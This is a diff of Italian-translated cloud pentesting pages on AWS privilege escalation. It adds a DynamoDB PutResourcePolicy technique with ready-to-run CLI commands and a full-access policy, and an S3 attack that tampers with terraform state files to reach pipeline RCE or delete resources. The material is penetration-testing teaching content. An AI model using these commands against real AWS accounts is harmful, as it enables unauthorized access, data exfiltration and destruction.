Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -4,20 +4,69 @@
 
 ## dynamodb
 
-Per ulteriori informazioni su dynamodb controlla:
+Per ulteriori informazioni su dynamodb, controlla:
 
 {{#ref}}
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
+### `dynamodb:PutResourcePolicy`, e opzionalmente `dynamodb:GetResourcePolicy`
+
+Dal marzo 2024, AWS offre *politiche basate sulle risorse* per DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Quindi, se hai il `dynamodb:PutResourcePolicy` per una tabella, puoi semplicemente concedere a te stesso o a qualsiasi altro principale accesso completo alla tabella.
+
+Concedere il `dynamodb:PutResourcePolicy` a un principale casuale spesso avviene per caso, se gli amministratori pensano che concedere `dynamodb:Put*` consentirebbe solo al principale di inserire elementi nel database - o se hanno concesso quel set di permessi prima di marzo 2024...
+
+Idealmente, hai anche `dynamodb:GetResourcePolicy`, così non sovrascrivi altre autorizzazioni potenzialmente vitali, ma inietti solo le autorizzazioni aggiuntive di cui hai bisogno:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Se non riesci a recuperare la policy attuale, utilizza semplicemente questa che concede accesso completo sulla tabella al tuo principale:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Se hai bisogno di personalizzarlo, ecco un elenco di tutte le possibili azioni DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Ecco un elenco di tutte le azioni che possono essere consentite tramite una policy basata su risorse *E quali di queste possono essere utilizzate cross-account (pensa all'exfiltrazione dei dati!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Ora, con il documento della policy `policy.json` pronto, inserisci la policy delle risorse:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Ora dovresti avere i permessi di cui avevi bisogno.
+
 ### Post Exploitation
 
-Per quanto ne so, **non c'è un modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi `dynamodb`**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni nelle tabelle** (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella **pagina di Post Exploitation di DynamoDB**:
+Per quanto ne so, **non c'è altro modo diretto per escalare i privilegi in AWS semplicemente avendo alcuni permessi `dynamodb` di AWS**. Puoi **leggere informazioni sensibili** dalle tabelle (che potrebbero contenere credenziali AWS) e **scrivere informazioni nelle tabelle** (che potrebbero attivare altre vulnerabilità, come le iniezioni di codice lambda...) ma tutte queste opzioni sono già considerate nella **pagina di Post Exploitation di DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Leggere dati abusando dei Data Streams
+### TODO: Leggere dati abusando dei data Streams
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -50,9 +50,22 @@ Ecco alcuni esempi:
 
 - Se un'istanza EC2 memorizza i **dati utente in un bucket S3**, un attaccante potrebbe modificarli per **eseguire codice arbitrario all'interno dell'istanza EC2**.
 
+### `s3:PutObject`, `s3:GetObject` (opzionale) su file di stato terraform
+
+È molto comune che i file di stato [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) vengano salvati nello storage blob dei fornitori di cloud, ad esempio AWS S3. Il suffisso del file per un file di stato è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono file di stato terraform. Di solito, ogni account AWS ha un bucket di questo tipo per memorizzare i file di stato che mostrano lo stato dell'account.\
+Inoltre, di solito, negli account del mondo reale quasi sempre tutti gli sviluppatori hanno `s3:*` e a volte anche gli utenti aziendali hanno `s3:Put*`.
+
+Quindi, se hai le autorizzazioni elencate su questi file, c'è un vettore di attacco che ti consente di ottenere RCE nella pipeline con i privilegi di `terraform` - per la maggior parte delle volte `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi utilizzare quel vettore per effettuare un attacco di denial of service facendo sì che `terraform` elimini risorse legittime.
+
+Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice di exploit direttamente utilizzabile:
+
+{{#ref}}
+terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
 ### `s3:PutBucketPolicy`
 
-Un attaccante, che deve essere **dallo stesso account**, altrimenti si attiverà l'errore `The specified method is not allowed`, con questo permesso sarà in grado di concedere a se stesso più autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket.
+Un attaccante, che deve essere **dallo stesso account**, altrimenti si attiverà l'errore `The specified method is not allowed`, con questo permesso sarà in grado di concedersi ulteriori autorizzazioni sui bucket, permettendogli di leggere, scrivere, modificare, eliminare ed esporre i bucket.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -110,7 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-Un attaccante potrebbe abusare di questi permessi per **concedersi più accesso** su specifici bucket.\
+Un attaccante potrebbe abusare di questi permessi per **concedergli più accesso** su specifici bucket.\
 Nota che l'attaccante non deve essere dello stesso account. Inoltre, l'accesso in scrittura
 ```bash
 # Update bucket ACL
@@ -138,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`
 
-Un attaccante potrebbe abusare di questi permessi per concedersi maggiore accesso su oggetti specifici all'interno dei bucket.
+Un attaccante potrebbe abusare di queste autorizzazioni per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket.
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag